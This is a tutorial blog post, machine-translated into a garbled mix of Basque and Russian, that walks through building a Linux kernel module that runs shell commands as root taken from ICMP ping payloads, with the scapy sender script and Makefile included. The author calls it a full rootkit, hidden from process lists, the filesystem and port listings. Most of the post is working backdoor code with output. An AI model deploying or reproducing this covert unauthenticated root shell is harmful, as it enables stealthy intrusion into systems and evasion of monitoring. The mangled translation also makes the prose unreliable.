Oskol nuklearra ICMPren gainean

Oskol nuklearra ICMPren gainean

TL; DR: пишу модуль ядра, который будет читать команды из пейлоада ICMP и выполнять их на сервере даже в том случае, если у вас упал SSH. Для самых нетерпеливых весь код на GitHub.

Kontuz! Опытные программисты на C рискуют разрыдаться кровавыми слезами! Я могу ошибаться даже в терминологии, но любая критика приветствуется. Пост рассчитан на тех, кто имеет самое приблизительное представление о программировании на C и хочет заглянуть во внутренности Linux.

В комментариях к моей первой Artikulu упомянули SoftEther VPN, который умеет мимикрировать под некоторые «обычные» протоколы, в частности, HTTPS, ICMP и даже DNS. Я представляю себе работу только первого из них, так как хорошо знаком с HTTP(S), а туннелирование поверх ICMP и DNS пришлось изучать.

Oskol nuklearra ICMPren gainean

Bai, 2020an jakin nuen ICMP paketeetan karga arbitrario bat txerta dezakezula. Baina hobe berandu inoiz baino! Eta horri buruz zerbait egin daitekeenez, orduan egin behar da. Nire eguneroko bizitzan gehienetan komando-lerroa erabiltzen dudanez, SSH bidez barne, ICMP shell baten ideia etorri zitzaidan burura lehenik. Eta bullshield bingo osoa muntatzeko, Linux modulu gisa idaztea erabaki nuen gutxi gorabeherako hizkuntza batean. Halako shell bat ez da ikusgai egongo prozesuen zerrendan, nukleoan karga dezakezu eta ez da fitxategi-sisteman egongo, ez duzu ezer susmagarririk ikusiko entzuteko ataken zerrendan. Bere gaitasunei dagokienez, hau erabateko rootkit bat da, baina hobetu eta azken baliabide gisa erabiltzea espero dut Load Average altuegia denean SSH bidez saioa hasteko eta gutxienez exekutatzeko. echo i > /proc/sysrq-triggersarbidea berrezartzeko berrabiarazi gabe.

Берём текстовый редактор, базовые скиллы программирования на Python и C, гугл и birtuala которую не жалко пустить под нож если всё поломается (опционально — локальный VirtualBox/KVM/etc) и погнали!

Bezeroaren aldean

Bezeroaren aldetik 80 bat lerroko gidoi bat idatzi beharko nuela iruditu zitzaidan, baina bazeuden jende jatorra egiten zidana. всю работу. Код оказался неожиданно простым, умещается в 10 значащих строк:

import sys
from scapy.all import sr1, IP, ICMP

if len(sys.argv) < 3:
    print('Usage: {} IP "command"'.format(sys.argv[0]))
    exit(0)

p = sr1(IP(dst=sys.argv[1])/ICMP()/"run:{}".format(sys.argv[2]))
if p:
    p.show()

Scriptak bi argumentu hartzen ditu, helbide bat eta karga erabilgarria. Bidali aurretik, kargaren aurretik tekla bat dago run:, ausazko kargak dituzten paketeak baztertzeko beharko dugu.

Nukleoak paketeak lantzeko pribilegioak behar ditu, beraz, scripta supererabiltzaile gisa exekutatu beharko da. Ez ahaztu exekuzio baimenak ematea eta scapy bera instalatzea. Debian izeneko pakete bat dauka python3-scapy. Orain nola funtzionatzen duen egiaztatu dezakezu.

Komandoa exekutatzea eta ateratzea
morq@laptop:~/icmpshell$ sudo ./send.py 45.11.26.232 "Hello, world!"
Begin emission:
.Finished sending 1 packets.
*
Received 2 packets, got 1 answers, remaining 0 packets
###[ IP ]###
version = 4
ihl = 5
tos = 0x0
len = 45
id = 17218
flags =
frag = 0
ttl = 58
proto = icmp
chksum = 0x3403
src = 45.11.26.232
dst = 192.168.0.240
options
###[ ICMP ]###
type = echo-reply
code = 0
chksum = 0xde03
id = 0x0
seq = 0x0
###[ Raw ]###
load = 'run:Hello, world!

Honela dirudi sniffer-ean
morq@laptop:~/icmpshell$ sudo tshark -i wlp1s0 -O icmp -f "icmp and host 45.11.26.232"
Running as user "root" and group "root". This could be dangerous.
Capturing on 'wlp1s0'
Frame 1: 59 bytes on wire (472 bits), 59 bytes captured (472 bits) on interface wlp1s0, id 0
Internet Protocol Version 4, Src: 192.168.0.240, Dst: 45.11.26.232
Internet Control Message Protocol
Type: 8 (Echo (ping) request)
Code: 0
Checksum: 0xd603 [correct] [Checksum Status: Good] Identifier (BE): 0 (0x0000)
Identifier (LE): 0 (0x0000)
Sequence number (BE): 0 (0x0000)
Sequence number (LE): 0 (0x0000)
Data (17 bytes)

0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 run:Hello, world
0010 21 !
Data: 72756e3a48656c6c6f2c20776f726c6421
[Length: 17]

Frame 2: 59 bytes on wire (472 bits), 59 bytes captured (472 bits) on interface wlp1s0, id 0
Internet Protocol Version 4, Src: 45.11.26.232, Dst: 192.168.0.240
Internet Control Message Protocol
Type: 0 (Echo (ping) reply)
Code: 0
Checksum: 0xde03 [correct] [Checksum Status: Good] Identifier (BE): 0 (0x0000)
Identifier (LE): 0 (0x0000)
Sequence number (BE): 0 (0x0000)
Sequence number (LE): 0 (0x0000)
[Request frame: 1] [Response time: 19.094 ms] Data (17 bytes)

0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 run:Hello, world
0010 21 !
Data: 72756e3a48656c6c6f2c20776f726c6421
[Length: 17]

^C2 packets captured

Erantzun paketearen karga ez da aldatzen.

Kernel modulua

Debian makina birtual batean eraikitzeko gutxienez beharko duzu make и linux-headers-amd64, остальное подтянется в виде зависимостей. В статье код целиком приводить не буду, вы его можете склонировать на гитхабе.

Kakoaren konfigurazioa

Hasteko, bi funtzio behar ditugu modulua kargatzeko eta deskargatzeko. Deskargarako funtzioa ez da beharrezkoa, baina gero rmmod выполнить не получится, модуль выгрузится только при выключении.

#include <linux/module.h>
#include <linux/netfilter_ipv4.h>

static struct nf_hook_ops nfho;

static int __init startup(void)
{
  nfho.hook = icmp_cmd_executor;
  nfho.hooknum = NF_INET_PRE_ROUTING;
  nfho.pf = PF_INET;
  nfho.priority = NF_IP_PRI_FIRST;
  nf_register_net_hook(&init_net, &nfho);
  return 0;
}

static void __exit cleanup(void)
{
  nf_unregister_net_hook(&init_net, &nfho);
}

MODULE_LICENSE("GPL");
module_init(startup);
module_exit(cleanup);

Что здесь происходит:

  1. Подтягиваются два заголовочных файла для манипуляций собственно с модулем и с нетфильтром.
  2. Eragiketa guztiak netfilter batetik pasatzen dira, bertan kakoak ezar ditzakezu. Horretarako, amua zein egituratan konfiguratuko den adierazi behar duzu. Garrantzitsuena kako gisa exekutatuko den funtzioa zehaztea da: nfho.hook = icmp_cmd_executor; до самой функции я ещё доберусь.
    Ondoren paketearen prozesatzeko denbora ezarri dut: NF_INET_PRE_ROUTING указывает обрабатывать пакет, когда он только появился в ядре. Можно использовать NF_INET_POST_ROUTING paketea nukleotik irtetean prozesatzeko.
    Iragazkia IPv4-n ezarri dut: nfho.pf = PF_INET;.
    Назначаю своему хуку наивысшей приоритет: nfho.priority = NF_IP_PRI_FIRST;
    И регистрирую структуру данных как собственно хук: nf_register_net_hook(&init_net, &nfho);
  3. Azken funtzioak amua kentzen du.
  4. Lizentzia argi eta garbi adierazten da, konpilatzailea kexa ez dadin.
  5. funtzio module_init() и module_exit() задают другие функции в качестве инициализирующей и завершающей работу модуля.

Извлечение пейлоада

Теперь нужно извлечь пейлоад, это оказалось самой сложной задачей. В ядре нет встроенных функций для работы с пейлоадом, можно только парсить заголовки более высокоуровневых протоколов.

#include <linux/ip.h>
#include <linux/icmp.h>

#define MAX_CMD_LEN 1976

char cmd_string[MAX_CMD_LEN];

struct work_struct my_work;

DECLARE_WORK(my_work, work_handler);

static unsigned int icmp_cmd_executor(void *priv, struct sk_buff *skb, const struct nf_hook_state *state)
{
  struct iphdr *iph;
  struct icmphdr *icmph;

  unsigned char *user_data;
  unsigned char *tail;
  unsigned char *i;
  int j = 0;

  iph = ip_hdr(skb);
  icmph = icmp_hdr(skb);

  if (iph->protocol != IPPROTO_ICMP) {
    return NF_ACCEPT;
  }
  if (icmph->type != ICMP_ECHO) {
    return NF_ACCEPT;
  }

  user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
  tail = skb_tail_pointer(skb);

  j = 0;
  for (i = user_data; i != tail; ++i) {
    char c = *(char *)i;

    cmd_string[j] = c;

    j++;

    if (c == '')
      break;

    if (j == MAX_CMD_LEN) {
      cmd_string[j] = '';
      break;
    }

  }

  if (strncmp(cmd_string, "run:", 4) != 0) {
    return NF_ACCEPT;
  } else {
    for (j = 0; j <= sizeof(cmd_string)/sizeof(cmd_string[0])-4; j++) {
      cmd_string[j] = cmd_string[j+4];
      if (cmd_string[j] == '')
	break;
    }
  }

  schedule_work(&my_work);

  return NF_ACCEPT;
}

Zer ari da gertatzen:

  1. Пришлось подключить дополнительные заголовочные файлы, на этот раз для манипуляция с IP- и ICMP-хедерами.
  2. Задаю максимальную длину строки: #define MAX_CMD_LEN 1976. Zergatik zehazki hau? Konpilatzailea kexatzen delako! Dagoeneko iradoki didate pila eta pila ulertu behar ditudala, noizbait hori egingo dut eta agian kodea zuzenduko dut. Berehala ezarri dut komandoa edukiko duen lerroa: char cmd_string[MAX_CMD_LEN];. Funtzio guztietan ikusgai egon beharko luke; 9. paragrafoan zehatzago hitz egingo dut honi buruz.
  3. Теперь надо инициализировать (struct work_struct my_work;) egituratu eta beste funtzio batekin lotu (DECLARE_WORK(my_work, work_handler);). Hori zergatik den beharrezkoa ere aipatuko dut bederatzigarren paragrafoan.
  4. Теперь объявляю функцию, которая и будет хуком. Тип и принимаемые аргументы диктуются нетфильтром, нас интересует только skb. Socket buffer bat da, pakete bati buruzko informazio eskuragarri guztia biltzen duen oinarrizko datu-egitura.
  5. Funtzioak funtziona dezan, bi egitura eta hainbat aldagai beharko dituzu, bi iterador barne.
      struct iphdr *iph;
      struct icmphdr *icmph;
    
      unsigned char *user_data;
      unsigned char *tail;
      unsigned char *i;
      int j = 0;
  6. Можно приступить к логике. Для работы модуля не нужны никакие пакеты кроме ICMP Echo, поэтому парсим буфер встроенными функциями и выкидываем все не ICMP- и не Echo-пакеты. Возврат NF_ACCEPT paketea onartzea esan nahi du, baina paketeak ere jar ditzakezu itzuliz NF_DROP.
      iph = ip_hdr(skb);
      icmph = icmp_hdr(skb);
    
      if (iph->protocol != IPPROTO_ICMP) {
        return NF_ACCEPT;
      }
      if (icmph->type != ICMP_ECHO) {
        return NF_ACCEPT;
      }

    Ez dut probatu zer gertatuko den IP goiburuak egiaztatu gabe. Nire C-ren gutxieneko ezagutzak esaten dit egiaztapen gehigarririk gabe zerbait izugarria gertatuko dela. Pozik egongo naiz honetaz disuaditzen badidazu!

  7. Orain paketea behar duzun mota zehatza denez, datuak atera ditzakezu. Funtzio integraturik gabe, lehenik eta behin kargaren hasierako erakuslea lortu behar duzu. Leku bakarrean egiten da, erakuslea ICMP goiburuaren hasierara eraman eta goiburu honen tamainara eraman behar duzu. Guztiak egitura erabiltzen du icmph: user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
    Конец заголовка должен совпадать с концом полезной нагрузки в skb, beraz, dagokion egituratik bitarteko nuklearrak erabiliz lortzen dugu: tail = skb_tail_pointer(skb);.

    Oskol nuklearra ICMPren gainean

    Картинку утащил beraz,, можете почитать подробней про буфер сокета.

  8. Hasierako eta amaierako erakusleak dituzunean, datuak kate batean kopiatu ditzakezu cmd_string, проверить её на наличие префикса run: eta, baztertu paketea falta bada, edo berriro idatzi lerroa, aurrizki hori kenduz.
  9. Ну всё, теперь можно вызвать ещё один хендлер: schedule_work(&my_work);. Horrelako dei bati parametrorik pasatzea ezinezkoa denez, komandoa duen lerroak globala izan behar du. schedule_work() gainditutako egiturarekin lotutako funtzioa ataza-antolatzailearen ilara orokorrean jarriko du eta osatuko du, komandoa amaitu arte itxaroteko aukera emanez. Hau beharrezkoa da amua oso azkarra izan behar delako. Bestela, zure aukera da ezer ez hasiko dela edo nukleoaren izua jasoko duzu. Atzerapena heriotza bezalakoa da!
  10. Hori da, paketea onar dezakezu dagokion itzulerarekin.

Erabiltzaile-espazioko programa bati deitzea

Funtzio hau da ulergarriena. Bere izena eman zioten DECLARE_WORK(), тип и принимаемые аргументы не интересны. Берём строку с командой и передаём её целиком шеллу. Пусть он сам разбирается с парсингом, поиском бинарей и со всем остальным.

static void work_handler(struct work_struct * work)
{
  static char *argv[] = {"/bin/sh", "-c", cmd_string, NULL};
  static char *envp[] = {"PATH=/bin:/sbin", NULL};

  call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
}

  1. Ezarri argumentuak kate-matrize batean argv[]. Suposatuko dut denek dakiela programak benetan horrela exekutatzen direla, eta ez espazioak dituen lerro jarraitu gisa.
  2. Задаём переменные окружения. Я вставил только PATH с минимальным набором путей, рассчитывая что у всех уже объединены /bin с /usr/bin и /sbin с /usr/sbin. Beste bideak gutxitan axola praktikan.
  3. Готово, выполняем! Функция ядра call_usermodehelper() sarrera onartzen du. bitarrerako bidea, argumentuen array, ingurune-aldagaien array. Hemen ere suposatzen dut denek ulertzen dutela fitxategi exekutagarrirako bidea argumentu bereizi gisa pasatzearen esanahia, baina galdetu dezakezu. Azken argumentuak prozesua amaitu arte itxaron behar den zehazten du (UMH_WAIT_PROC), запуска процесса (UMH_WAIT_EXEC) или не ждать вообще (UMH_NO_WAIT). Есть ещё UMH_KILLABLE, ez nuen aztertu.

muntaia

Сборка ядерных модулей выполняется через ядерный же make-фреймворк. Вызывается make внутри специальной директории привязанной к версии ядра (определяется тут: KERNELDIR:=/lib/modules/$(shell uname -r)/build), а местонахождение модуля передаётся переменной M в аргументах. В таргетах icmpshell.ko и clean целиком используется этот фреймворк. В obj-m указывается объектный файл, который будет переделан в модуль. Синтаксис, которые переделывает main.o в icmpshell.o (icmpshell-objs = main.o) для меня выглядит не очень логичным, но пусть так и будет.

KERNELDIR:=/lib/modules/$(shell uname -r)/build

obj-m = icmpshell.o
icmpshell-objs = main.o

all: icmpshell.ko

icmpshell.ko: main.c
make -C $(KERNELDIR) M=$(PWD) modules

clean:
make -C $(KERNELDIR) M=$(PWD) clean

biltzen dugu: make. Kargatzen: insmod icmpshell.ko. Eginda, egiaztatu dezakezu: sudo ./send.py 45.11.26.232 "date > /tmp/test". Zure makinan fitxategi bat baduzu /tmp/test eta eskaera bidali zen data jasotzen du, hau da, dena ondo egin zenuen eta nik dena ondo egin nuen.

Ondorioa

Garapen nuklearraren lehen esperientzia espero nuena baino askoz errazagoa izan zen. Nahiz eta C-n garatzen esperientziarik gabe, konpilatzaileen aholkuetan eta Google-ren emaitzetan zentratuta, lan-modulu bat idatzi eta kernel hacker bat bezala sentitzea lortu nuen, eta aldi berean script kiddie bat bezala. Horrez gain, Kernel Newbies kanalera joan nintzen, eta bertan erabiltzeko esan zidaten schedule_work() вместо вызова call_usermodehelper() внутри самого хука и пристыдили, справедливо заподозрив скам. Сотня строк кода мне стоила где-то недели разработки в свободное время. Удачный опыт, разрушивший мой личный миф о непосильной сложности системной разработки.

Если кто-то согласится выполнить код-ревью на гитхабе, я буду признателен. Я почти уверен, что допустил много глупых ошибок, особенно, в работе со строками.

Oskol nuklearra ICMPren gainean

Iturria: www.habr.com

Gehitu iruzkin berria